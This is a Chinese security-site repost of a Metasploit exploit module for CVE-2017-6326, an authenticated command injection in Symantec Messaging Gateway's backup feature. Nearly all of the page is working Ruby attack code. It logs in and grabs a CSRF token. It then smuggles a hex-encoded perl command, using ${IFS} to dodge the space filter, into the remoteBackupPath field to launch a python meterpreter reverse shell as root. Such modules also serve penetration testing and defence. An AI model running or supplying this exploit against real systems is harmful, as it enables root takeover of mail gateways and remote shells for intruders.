首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Symantec Messaging Gateway Remote Code Execution
来源:metasploit.com 作者:Ince 发布时间:2017-06-26  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Symantec Messaging Gateway Remote Code Execution",
      'Description'    => %q{
        This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
        terminal command under the context of the web server user which is root.

        backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
        operating system command. One of the user input is being passed to the service without proper validation. That cause an command
        injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
        command. Thus, you need to configure your own SSH service and set the required parameter during module usage.

        This module was tested against Symantec Messaging Gateway 10.6.2-7.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/'],
          ['CVE', '2017-6326']
        ],
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443,
          'Payload' => 'python/meterpreter/reverse_tcp'
        },
      'Platform'       => ['python'],
      'Arch'           => ARCH_PYTHON,
      'Targets'        => [[ 'Automatic', { }]],
      'Privileged'     => true,
      'DisclosureDate' => "Apr 26 2017",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, 'The username to login as']),
        OptString.new('PASSWORD', [true, 'The password to login with']),
        OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']),
        OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]),
        OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']),
        OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']),
        OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])
      ]
    )
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def ssh_address
    datastore['SSH_ADDRESS']
  end

  def ssh_port
    datastore['SSH_PORT']
  end

  def ssh_username
    datastore['SSH_USERNAME']
  end

  def ssh_password
    datastore['SSH_PASSWORD']
  end

  def auth
    print_status("Performing authentication...")

    sid        = ''
    last_login = ''

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')
    })

    if res && !res.get_cookies.empty?
      last_login = res.get_hidden_inputs.first['lastlogin'] || ''
      sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
    else
      fail_with(Failure::Unknown, "Didn't get cookie-set header from response.")
    end

    cookie = ''

    # Performing authentication
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'brightmail', 'login.do'),
      'headers'   => {
        'Referer' => "https://#{peer}/brightmail/viewLogin.do",
        'Connection' => 'keep-alive'
      },
      'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
      'vars_post' => {
        'lastlogin'  => last_login,
        'userLocale' => '',
        'lang'       => 'en_US',
        'username'   => username,
        'password'   => password,
        'loginBtn'   => 'Login'
      }
    })

    if res &&res.body =~ /Logged in/
      cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]
      print_good("Awesome..! Authenticated with #{username}:#{password}")
    else
      fail_with(Failure::Unknown, 'Credentials are not valid.')
    end

    cookie
  end

  def get_csrf_token(cookie)

    print_status('Capturing CSRF token')

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'),
      'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
    })

    csrf_token = nil
    if res && res.code == 200
      match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/)
      if match
        csrf_token = match[1]
        print_good("CSRF token is : #{csrf_token}")
      else
        fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
      end
    else
      fail_with(Failure::Unknown, 'Something went wrong.')
    end

    csrf_token
  end

  def exploit

    cookie = auth
    csrf_token = get_csrf_token(cookie)

    # I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted.
    # Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys;
    # Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :)
    # So we gonna execute a perl payload on server side which will execute our meterpreter python payload.

    cmd = "python -c \"#{payload.encoded}\""
    final_payload = cmd.to_s.unpack("H*").first

    p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"

    # Ok. We are ready to go
    send_request_cgi({
    'method'    => 'POST',
    'uri'       => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'),
    'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
    'vars_post' => {
      'pageReuseFor'                        => 'backup_now',
      'id'                                  => '',
      'symantec.brightmail.key.TOKEN'       => csrf_token,
      'backupData'                          => 'full',
      'customType'                          => 'configuration',
      'includeIncidentMessages'             => 'true',
      'includeLogData'                      => 'true',
      'backupTo'                            => '2',
      'remoteBackupProtocol'                => 'SCP',
      'remoteBackupAddress'                 => ssh_address,
      'remoteBackupPort'                    => ssh_port,
      'remoteBackupPath'                    => "tmp$(#{p})",
      'requiresRemoteAuthentication'        => 'true',
      'remoteBackupUsername'                => ssh_username,
      'remoteBackupPassword'                => ssh_password,
      }
    })
  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Netgear DGN2200 dnslookup.cgi
·Easy File Sharing HTTP Server
·PHPMailer < 5.2.20 with Exim M
·NTFS 3.1 - Master File Table D
·Mikrotik RouterOS 6.28 Cookie
·JAD Java Decompiler 1.5.8e - B
·Mikrotik RouterOS 6.39.2 FTP C
·IBM DB2 9.7 / 10.1 / 10.5 / 11
·D-Link ADSL DSL-2640B SEA_1.01
·Microsoft Skype 7.2 / 7.35 / 7
·D-Link DSL-2640B - Unauthentic
·Easy File Sharing Web Server 7
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved